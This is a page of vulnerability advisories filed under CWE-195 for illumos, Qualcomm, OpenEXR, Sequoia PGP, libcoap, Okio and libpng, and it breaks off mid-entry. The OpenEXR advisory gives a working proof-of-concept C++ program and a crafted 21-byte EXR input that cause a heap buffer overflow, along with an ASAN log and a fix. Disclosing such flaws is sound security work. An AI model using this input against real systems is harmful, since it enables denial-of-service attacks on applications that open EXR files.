Common Weakness Enumeration
CWE-195
AllowedSigned to Unsigned Conversion Error
Abstraction: Variant · Status: Draft
The product uses a signed primitive and performs a cast to an unsigned primitive, which can produce an unexpected value if the value of the signed primitive can not be represented using an unsigned primitive.
29 vulnerabilities reference this CWE, most recent first.
GHSA-M6WP-2R29-6958
Vulnerability from github – Published: 2022-05-13 01:38 – Updated: 2025-04-20 03:35
VLAI
Details
illumos osnet-incorporation bcopy() and bzero() implementations make signed instead of unsigned comparisons allowing a system crash.
Severity
8.6 (High)
{
"affected": [],
"aliases": [
"CVE-2016-6560"
],
"database_specific": {
"cwe_ids": [
"CWE-195",
"CWE-20"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-03-31T19:59:00Z",
"severity": "HIGH"
},
"details": "illumos osnet-incorporation bcopy() and bzero() implementations make signed instead of unsigned comparisons allowing a system crash.",
"id": "GHSA-m6wp-2r29-6958",
"modified": "2025-04-20T03:35:04Z",
"published": "2022-05-13T01:38:44Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2016-6560"
},
{
"type": "WEB",
"url": "https://github.com/illumos/illumos-gate/commit/5aaab1a49679c26dbcb6fb6dc25799950d70cc71"
},
{
"type": "WEB",
"url": "https://www.illumos.org/issues/7488"
},
{
"type": "WEB",
"url": "https://www.openindiana.org/2016/11/01/cve-2016-6560-cve-2016-6561-security-issues-in-illumos"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-P5PP-PPFP-MRRH
Vulnerability from github – Published: 2023-10-03 06:30 – Updated: 2024-04-04 08:03
VLAI
Details
Memory corruption while parsing the ADSP response command.
Severity
7.8 (High)
{
"affected": [],
"aliases": [
"CVE-2023-33034"
],
"database_specific": {
"cwe_ids": [
"CWE-195",
"CWE-787"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-10-03T06:15:27Z",
"severity": "HIGH"
},
"details": "Memory corruption while parsing the ADSP response command.",
"id": "GHSA-p5pp-ppfp-mrrh",
"modified": "2024-04-04T08:03:21Z",
"published": "2023-10-03T06:30:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-33034"
},
{
"type": "WEB",
"url": "https://www.qualcomm.com/company/product-security/bulletins/october-2023-bulletin"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-Q6VJ-WXVF-5M8C
Vulnerability from github – Published: 2026-04-06 17:51 – Updated: 2026-04-06 17:51
VLAI
Summary
OpenEXR has heap-buffer-overflow via signed integer underflow in ImfContextInit.cpp
Details
Summary
A heap-buffer-overflow (OOB read) occurs in the istream_nonparallel_read function in ImfContextInit.cpp when parsing a malformed EXR file through a memory-mapped IStream. A signed integer subtraction produces a negative value that is implicitly converted to size_t, resulting in a massive length being passed to memcpy.
Affected Version
- OpenEXR main branch (commit at time of testing)
src/lib/OpenEXR/ImfContextInit.cpp, lines 121–136
Root Cause
ImfContextInit.cpp:121-126:
int64_t stream_sz = s->size (); // e.g., 21 (actual file size)
int64_t nend = nread + (int64_t)sz; // e.g., 17 + 4096 = 4113
if (stream_sz > 0 && nend > stream_sz)
{
sz = stream_sz - nend; // 21 - 4113 = -4092 (signed)
}
// ...
memcpy (buffer, data, sz); // sz is size_t → wraps to 0xFFFFFFFFFFFFF004
sz is of type size_t (unsigned), but stream_sz - nend yields a negative int64_t value. This negative value is implicitly converted to size_t, wrapping around to a value close to 2^64, which is then passed to memcpy causing a heap-buffer-overflow.
Suggested fix: sz = stream_sz - nend → sz = stream_sz - nread
Reproduce
Build OpenEXR as static libraries with ASAN enabled, then compile the PoC below.
PoC Code:
#include <cstdint>
#include <cstring>
#include <iostream>
#include <ImfMultiPartInputFile.h>
#include <ImfInputPart.h>
#include <ImfHeader.h>
OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_ENTER
class MemMapIStream : public IStream
{
public:
MemMapIStream (const uint8_t* data, size_t len)
: IStream ("poc_input")
, _data (reinterpret_cast<const char*> (data))
, _size (static_cast<int64_t> (len))
, _pos (0)
{}
bool isMemoryMapped () const override { return true; }
bool read (char c[], int n) override
{
int64_t avail = (_pos < _size) ? (_size - _pos) : 0;
int64_t copy = (static_cast<int64_t> (n) < avail) ? n : avail;
if (copy > 0) memcpy (c, _data + _pos, copy);
_pos += n;
return _pos <= _size;
}
char* readMemoryMapped (int n) override
{
if (_pos + n > _size)
throw IEX_NAMESPACE::InputExc ("read past end");
const char* p = _data + _pos;
_pos += n;
return const_cast<char*> (p);
}
uint64_t tellg () override { return static_cast<uint64_t> (_pos); }
void seekg (uint64_t pos) override { _pos = static_cast<int64_t> (pos); }
int64_t size () override { return _size; }
private:
const char* _data;
int64_t _size;
int64_t _pos;
};
OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_EXIT
int main ()
{
static const uint8_t crash_data[] = {
0x76, 0x2f, 0x31, 0x01,
0x02, 0x06, 0x00, 0x00,
0x74, 0x69, 0x6c, 0x65, 0x73, 0x00,
0x20, 0x00, 0x00,
0x53, 0x00, 0x00, 0x00
};
try
{
Imf::MemMapIStream stream (crash_data, sizeof (crash_data));
Imf::MultiPartInputFile file (stream);
}
catch (const std::exception& e)
{
std::cout << "Exception: " << e.what () << "\n";
}
return 0;
}
PoC Input: https://drive.google.com/file/d/1VhjdK11LA0LHdW1mJJIQEo64mc5tpOUV/view?usp=drive_link
ASAN Log
==305348==ERROR: AddressSanitizer: negative-size-param: (size=-4096)
#0 0x62aee9fc732a in __asan_memcpy (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x23932a) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0)
#1 0x62aeea0e3377 in Imf_4_0::istream_nonparallel_read(_priv_exr_context_t const*, void*, void*, unsigned long, unsigned long, int (*)(_priv_exr_context_t const*, int, char const*, ...)) /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXR/ImfContextInit.cpp:136:21
#2 0x62aeea15e75b in dispatch_read /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXRCore/context.c:51:16
#3 0x62aeea19da19 in scratch_seq_skip /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXRCore/parse_header.c:202:29
#4 0x62aeea197ec9 in check_populate_tiles /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXRCore/parse_header.c:1560:9
#5 0x62aeea197ec9 in check_req_attr /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXRCore/parse_header.c:2020:24
#6 0x62aeea197ec9 in pull_attr /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXRCore/parse_header.c:2085:10
#7 0x62aeea197ec9 in internal_exr_parse_header /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXRCore/parse_header.c:2848:18
#8 0x62aeea15f578 in exr_start_read /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXRCore/context.c:270:49
#9 0x62aeea0d8130 in Imf_4_0::Context::Context(char const*, Imf_4_0::ContextInitializer const&, Imf_4_0::Context::read_mode_t) /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXR/ImfContext.cpp:124:10
#10 0x62aeea0633ab in Imf_4_0::MultiPartInputFile::MultiPartInputFile(char const*, Imf_4_0::ContextInitializer const&, int, bool) /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXR/ImfMultiPartInputFile.cpp:59:7
#11 0x62aeea0649de in Imf_4_0::MultiPartInputFile::MultiPartInputFile(Imf_4_0::IStream&, int, bool) /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXR/ImfMultiPartInputFile.cpp:96:7
#12 0x62aeea00d522 in fuzz_cpp_headers(char const*, unsigned long) /home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer.cc:167:31
#13 0x62aeea00d522 in fuzz_cpp_api(char const*, unsigned long) /home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer.cc:460:5
#14 0x62aeea00a156 in LLVMFuzzerTestOneInput /home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer.cc:927:5
#15 0x62aee9f15414 in fuzzer::Fuzzer::ExecuteCallback(unsigned char const*, unsigned long) (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x187414) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0)
#16 0x62aee9efe546 in fuzzer::RunOneTest(fuzzer::Fuzzer*, char const*, unsigned long) (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x170546) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0)
#17 0x62aee9f03ffa in fuzzer::FuzzerDriver(int*, char***, int (*)(unsigned char const*, unsigned long)) (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x175ffa) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0)
#18 0x62aee9f2e7b6 in main (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x1a07b6) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0)
#19 0x71035ee2a1c9 in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
#20 0x71035ee2a28a in __libc_start_main csu/../csu/libc-start.c:360:3
#21 0x62aee9ef9114 in _start (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x16b114) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0)
0x503000000235 is located 0 bytes after 21-byte region [0x503000000220,0x503000000235)
allocated by thread T0 here:
#0 0x62aeea007c61 in operator new[](unsigned long) (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x279c61) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0)
#1 0x62aee9f15325 in fuzzer::Fuzzer::ExecuteCallback(unsigned char const*, unsigned long) (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x187325) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0)
#2 0x62aee9efe546 in fuzzer::RunOneTest(fuzzer::Fuzzer*, char const*, unsigned long) (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x170546) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0)
#3 0x62aee9f03ffa in fuzzer::FuzzerDriver(int*, char***, int (*)(unsigned char const*, unsigned long)) (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x175ffa) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0)
#4 0x62aee9f2e7b6 in main (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x1a07b6) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0)
#5 0x71035ee2a1c9 in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
#6 0x71035ee2a28a in __libc_start_main csu/../csu/libc-start.c:360:3
#7 0x62aee9ef9114 in _start (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x16b114) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0)
SUMMARY: AddressSanitizer: negative-size-param (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x23932a) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0) in __asan_memcpy
==305348==ABORTING
Impact
- DoS — Any application that opens a crafted EXR file will crash immediately
- CWE-195 (Signed to Unsigned Conversion Error) → CWE-122 (Heap-based Buffer Overflow)
- Affects any application using an
IStreamimplementation whereisMemoryMapped()returnstrue
Severity
6.5 (Medium)
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "OpenEXR"
},
"ranges": [
{
"events": [
{
"introduced": "3.3.0"
},
{
"fixed": "3.3.7"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "OpenEXR"
},
"ranges": [
{
"events": [
{
"introduced": "3.4.0"
},
{
"fixed": "3.4.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-26981"
],
"database_specific": {
"cwe_ids": [
"CWE-195"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-06T17:51:37Z",
"nvd_published_at": "2026-02-24T03:16:01Z",
"severity": "MODERATE"
},
"details": "## Summary\n\nA heap-buffer-overflow (OOB read) occurs in the `istream_nonparallel_read` function in `ImfContextInit.cpp` when parsing a malformed EXR file through a memory-mapped `IStream`. A signed integer subtraction produces a negative value that is implicitly converted to `size_t`, resulting in a massive length being passed to `memcpy`.\n\n## Affected Version\n\n- OpenEXR **main branch** (commit at time of testing)\n- `src/lib/OpenEXR/ImfContextInit.cpp`, lines 121\u2013136\n\n## Root Cause\n\n`ImfContextInit.cpp:121-126`:\n\n```cpp\nint64_t stream_sz = s-\u003esize (); // e.g., 21 (actual file size)\nint64_t nend = nread + (int64_t)sz; // e.g., 17 + 4096 = 4113\nif (stream_sz \u003e 0 \u0026\u0026 nend \u003e stream_sz)\n{\n sz = stream_sz - nend; // 21 - 4113 = -4092 (signed)\n}\n// ...\nmemcpy (buffer, data, sz); // sz is size_t \u2192 wraps to 0xFFFFFFFFFFFFF004\n```\n\n`sz` is of type `size_t` (unsigned), but `stream_sz - nend` yields a negative `int64_t` value. This negative value is implicitly converted to `size_t`, wrapping around to a value close to `2^64`, which is then passed to `memcpy` causing a heap-buffer-overflow.\n\n**Suggested fix:** `sz = stream_sz - nend` \u2192 `sz = stream_sz - nread`\n\n## Reproduce\n\nBuild OpenEXR as static libraries with ASAN enabled, then compile the PoC below.\n\n**PoC Code:**\n\n```cpp\n#include \u003ccstdint\u003e\n#include \u003ccstring\u003e\n#include \u003ciostream\u003e\n\n#include \u003cImfMultiPartInputFile.h\u003e\n#include \u003cImfInputPart.h\u003e\n#include \u003cImfHeader.h\u003e\n\nOPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_ENTER\n\nclass MemMapIStream : public IStream\n{\npublic:\n MemMapIStream (const uint8_t* data, size_t len)\n : IStream (\"poc_input\")\n , _data (reinterpret_cast\u003cconst char*\u003e (data))\n , _size (static_cast\u003cint64_t\u003e (len))\n , _pos (0)\n {}\n\n bool isMemoryMapped () const override { return true; }\n\n bool read (char c[], int n) override\n {\n int64_t avail = (_pos \u003c _size) ? (_size - _pos) : 0;\n int64_t copy = (static_cast\u003cint64_t\u003e (n) \u003c avail) ? n : avail;\n if (copy \u003e 0) memcpy (c, _data + _pos, copy);\n _pos += n;\n return _pos \u003c= _size;\n }\n\n char* readMemoryMapped (int n) override\n {\n if (_pos + n \u003e _size)\n throw IEX_NAMESPACE::InputExc (\"read past end\");\n const char* p = _data + _pos;\n _pos += n;\n return const_cast\u003cchar*\u003e (p);\n }\n\n uint64_t tellg () override { return static_cast\u003cuint64_t\u003e (_pos); }\n void seekg (uint64_t pos) override { _pos = static_cast\u003cint64_t\u003e (pos); }\n\n int64_t size () override { return _size; }\n\nprivate:\n const char* _data;\n int64_t _size;\n int64_t _pos;\n};\n\nOPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_EXIT\n\nint main ()\n{\n static const uint8_t crash_data[] = {\n 0x76, 0x2f, 0x31, 0x01,\n 0x02, 0x06, 0x00, 0x00,\n 0x74, 0x69, 0x6c, 0x65, 0x73, 0x00,\n 0x20, 0x00, 0x00,\n 0x53, 0x00, 0x00, 0x00\n };\n\n try\n {\n Imf::MemMapIStream stream (crash_data, sizeof (crash_data));\n Imf::MultiPartInputFile file (stream);\n }\n catch (const std::exception\u0026 e)\n {\n std::cout \u003c\u003c \"Exception: \" \u003c\u003c e.what () \u003c\u003c \"\\n\";\n }\n\n return 0;\n}\n```\n\n**PoC Input:** https://drive.google.com/file/d/1VhjdK11LA0LHdW1mJJIQEo64mc5tpOUV/view?usp=drive_link\n\n## ASAN Log\n\n```\n==305348==ERROR: AddressSanitizer: negative-size-param: (size=-4096)\n #0 0x62aee9fc732a in __asan_memcpy (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x23932a) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0)\n #1 0x62aeea0e3377 in Imf_4_0::istream_nonparallel_read(_priv_exr_context_t const*, void*, void*, unsigned long, unsigned long, int (*)(_priv_exr_context_t const*, int, char const*, ...)) /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXR/ImfContextInit.cpp:136:21\n #2 0x62aeea15e75b in dispatch_read /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXRCore/context.c:51:16\n #3 0x62aeea19da19 in scratch_seq_skip /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXRCore/parse_header.c:202:29\n #4 0x62aeea197ec9 in check_populate_tiles /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXRCore/parse_header.c:1560:9\n #5 0x62aeea197ec9 in check_req_attr /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXRCore/parse_header.c:2020:24\n #6 0x62aeea197ec9 in pull_attr /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXRCore/parse_header.c:2085:10\n #7 0x62aeea197ec9 in internal_exr_parse_header /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXRCore/parse_header.c:2848:18\n #8 0x62aeea15f578 in exr_start_read /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXRCore/context.c:270:49\n #9 0x62aeea0d8130 in Imf_4_0::Context::Context(char const*, Imf_4_0::ContextInitializer const\u0026, Imf_4_0::Context::read_mode_t) /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXR/ImfContext.cpp:124:10\n #10 0x62aeea0633ab in Imf_4_0::MultiPartInputFile::MultiPartInputFile(char const*, Imf_4_0::ContextInitializer const\u0026, int, bool) /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXR/ImfMultiPartInputFile.cpp:59:7\n #11 0x62aeea0649de in Imf_4_0::MultiPartInputFile::MultiPartInputFile(Imf_4_0::IStream\u0026, int, bool) /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXR/ImfMultiPartInputFile.cpp:96:7\n #12 0x62aeea00d522 in fuzz_cpp_headers(char const*, unsigned long) /home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer.cc:167:31\n #13 0x62aeea00d522 in fuzz_cpp_api(char const*, unsigned long) /home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer.cc:460:5\n #14 0x62aeea00a156 in LLVMFuzzerTestOneInput /home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer.cc:927:5\n #15 0x62aee9f15414 in fuzzer::Fuzzer::ExecuteCallback(unsigned char const*, unsigned long) (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x187414) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0)\n #16 0x62aee9efe546 in fuzzer::RunOneTest(fuzzer::Fuzzer*, char const*, unsigned long) (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x170546) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0)\n #17 0x62aee9f03ffa in fuzzer::FuzzerDriver(int*, char***, int (*)(unsigned char const*, unsigned long)) (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x175ffa) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0)\n #18 0x62aee9f2e7b6 in main (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x1a07b6) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0)\n #19 0x71035ee2a1c9 in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16\n #20 0x71035ee2a28a in __libc_start_main csu/../csu/libc-start.c:360:3\n #21 0x62aee9ef9114 in _start (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x16b114) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0)\n\n0x503000000235 is located 0 bytes after 21-byte region [0x503000000220,0x503000000235)\nallocated by thread T0 here:\n #0 0x62aeea007c61 in operator new[](unsigned long) (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x279c61) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0)\n #1 0x62aee9f15325 in fuzzer::Fuzzer::ExecuteCallback(unsigned char const*, unsigned long) (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x187325) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0)\n #2 0x62aee9efe546 in fuzzer::RunOneTest(fuzzer::Fuzzer*, char const*, unsigned long) (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x170546) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0)\n #3 0x62aee9f03ffa in fuzzer::FuzzerDriver(int*, char***, int (*)(unsigned char const*, unsigned long)) (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x175ffa) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0)\n #4 0x62aee9f2e7b6 in main (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x1a07b6) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0)\n #5 0x71035ee2a1c9 in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16\n #6 0x71035ee2a28a in __libc_start_main csu/../csu/libc-start.c:360:3\n #7 0x62aee9ef9114 in _start (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x16b114) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0)\n\nSUMMARY: AddressSanitizer: negative-size-param (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x23932a) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0) in __asan_memcpy\n==305348==ABORTING\n```\n\n## Impact\n\n- **DoS** \u2014 Any application that opens a crafted EXR file will crash immediately\n- **CWE-195** (Signed to Unsigned Conversion Error) \u2192 **CWE-122** (Heap-based Buffer Overflow)\n- Affects any application using an `IStream` implementation where `isMemoryMapped()` returns `true`",
"id": "GHSA-q6vj-wxvf-5m8c",
"modified": "2026-04-06T17:51:37Z",
"published": "2026-04-06T17:51:37Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/AcademySoftwareFoundation/openexr/security/advisories/GHSA-q6vj-wxvf-5m8c"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-26981"
},
{
"type": "WEB",
"url": "https://github.com/AcademySoftwareFoundation/openexr/commit/6bb2ddf1068573d073edf81270a015b38cc05cef"
},
{
"type": "WEB",
"url": "https://github.com/AcademySoftwareFoundation/openexr/commit/d2be382758adc3e9ab83a3de35138ec28d93ebd8"
},
{
"type": "PACKAGE",
"url": "https://github.com/AcademySoftwareFoundation/openexr"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "OpenEXR has heap-buffer-overflow via signed integer underflow in ImfContextInit.cpp"
}
GHSA-V6X3-9R38-R27Q
Vulnerability from github – Published: 2025-12-14 06:30 – Updated: 2025-12-16 19:30
VLAI
Summary
Sequoia PGP has Subtraction Overflow when aes_key_unwrap function is provided ciphertext that is too short
Details
In Sequoia before 2.1.0, aes_key_unwrap panics if passed a ciphertext that is too short. A remote attacker can take advantage of this issue to crash an application by sending a victim an encrypted message with a crafted PKESK or SKESK packet.
Severity
5.3 (Medium)
{
"affected": [
{
"package": {
"ecosystem": "crates.io",
"name": "sequoia-openpgp"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.1.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-67897"
],
"database_specific": {
"cwe_ids": [
"CWE-195"
],
"github_reviewed": true,
"github_reviewed_at": "2025-12-16T19:30:41Z",
"nvd_published_at": "2025-12-14T05:16:06Z",
"severity": "MODERATE"
},
"details": "In Sequoia before 2.1.0, aes_key_unwrap panics if passed a ciphertext that is too short. A remote attacker can take advantage of this issue to crash an application by sending a victim an encrypted message with a crafted PKESK or SKESK packet.",
"id": "GHSA-v6x3-9r38-r27q",
"modified": "2025-12-16T19:30:41Z",
"published": "2025-12-14T06:30:24Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-67897"
},
{
"type": "WEB",
"url": "https://bugs.debian.org/1122582"
},
{
"type": "PACKAGE",
"url": "https://gitlab.com/sequoia-pgp/sequoia"
},
{
"type": "WEB",
"url": "https://gitlab.com/sequoia-pgp/sequoia/-/blob/b59886e5e7bdf7169ed330f309a6633d131776e5/openpgp/NEWS#L7-L26"
},
{
"type": "WEB",
"url": "https://gitlab.com/sequoia-pgp/sequoia/-/commit/b59886e5e7bdf7169ed330f309a6633d131776e5"
},
{
"type": "WEB",
"url": "https://rustsec.org/advisories/RUSTSEC-2025-0136.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Sequoia PGP has Subtraction Overflow when aes_key_unwrap function is provided ciphertext that is too short"
}
GHSA-VR3H-29QC-JVJF
Vulnerability from github – Published: 2025-11-24 15:30 – Updated: 2025-11-24 15:30
VLAI
Details
Integer signedness error in tls_verify_call_back() in src/coap_openssl.c in OISM libcoap 4.3.5 allows remote attackers to cause a denial of service via a crafted TLS certificate that causes i2d_X509() to return -1 and be misused as a malloc() size parameter.
Severity
7.5 (High)
{
"affected": [],
"aliases": [
"CVE-2025-65495"
],
"database_specific": {
"cwe_ids": [
"CWE-195"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-11-24T14:15:47Z",
"severity": "HIGH"
},
"details": "Integer signedness error in tls_verify_call_back() in src/coap_openssl.c in OISM libcoap 4.3.5 allows remote attackers to cause a denial of service via a crafted TLS certificate that causes i2d_X509() to return -1 and be misused as a malloc() size parameter.",
"id": "GHSA-vr3h-29qc-jvjf",
"modified": "2025-11-24T15:30:29Z",
"published": "2025-11-24T15:30:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-65495"
},
{
"type": "WEB",
"url": "https://github.com/obgm/libcoap/issues/1744"
},
{
"type": "WEB",
"url": "https://github.com/obgm/libcoap/pull/1750"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-W33C-445M-F8W7
Vulnerability from github – Published: 2023-07-12 21:30 – Updated: 2023-07-13 17:01
VLAI
Summary
Okio Signed to Unsigned Conversion Error vulnerability
Details
GzipSource does not handle an exception that might be raised when parsing a malformed gzip buffer. This may lead to denial of service of the Okio client when handling a crafted GZIP archive, by using the GzipSource class.
Severity
5.9 (Medium)
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "com.squareup.okio:okio"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.0-RC1"
},
{
"fixed": "3.4.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "com.squareup.okio:okio"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.17.6"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "com.squareup.okio:okio-jvm"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.0-RC1"
},
{
"fixed": "3.4.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-3635"
],
"database_specific": {
"cwe_ids": [
"CWE-195",
"CWE-681"
],
"github_reviewed": true,
"github_reviewed_at": "2023-07-13T17:01:48Z",
"nvd_published_at": "2023-07-12T19:15:08Z",
"severity": "MODERATE"
},
"details": "GzipSource does not handle an exception that might be raised when parsing a malformed gzip buffer. This may lead to denial of service of the Okio client when handling a crafted GZIP archive, by using the GzipSource class.\n\n",
"id": "GHSA-w33c-445m-f8w7",
"modified": "2023-07-13T17:01:48Z",
"published": "2023-07-12T21:30:50Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-3635"
},
{
"type": "WEB",
"url": "https://github.com/square/okio/pull/1280"
},
{
"type": "WEB",
"url": "https://github.com/square/okio/pull/1334"
},
{
"type": "WEB",
"url": "https://github.com/square/okio/commit/81bce1a30af244550b0324597720e4799281da7b"
},
{
"type": "WEB",
"url": "https://github.com/square/okio/commit/b4fa875dc24950680c386e4b1c593660ce4f7839"
},
{
"type": "PACKAGE",
"url": "https://github.com/square/okio"
},
{
"type": "WEB",
"url": "https://github.com/square/okio/blob/master/CHANGELOG.md#version-1176"
},
{
"type": "WEB",
"url": "https://research.jfrog.com/vulnerabilities/okio-gzip-source-unhandled-exception-dos-xray-523195"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Okio Signed to Unsigned Conversion Error vulnerability"
}
GHSA-W4PV-VQP3-F753
Vulnerability from github – Published: 2022-05-13 01:27 – Updated: 2025-06-09 18:31
VLAI
Details
Integer signedness error in the png_inflate function in pngrutil.c in libpng before 1.4.10beta01, as used in Google Chrome before 17.0.963.83 and other products, allows remote attackers to cause a denial of service (application crash) or possibly execute arbitrary code via a crafted PNG file, a different vulnerability than CVE-2011-3026.
Severity
8.8 (High)
{
"affected": [],
"aliases": [
"CVE-2011-3045"
],
"database_specific": {
"cwe_ids": [
"CWE-190",
"CWE-195"
],
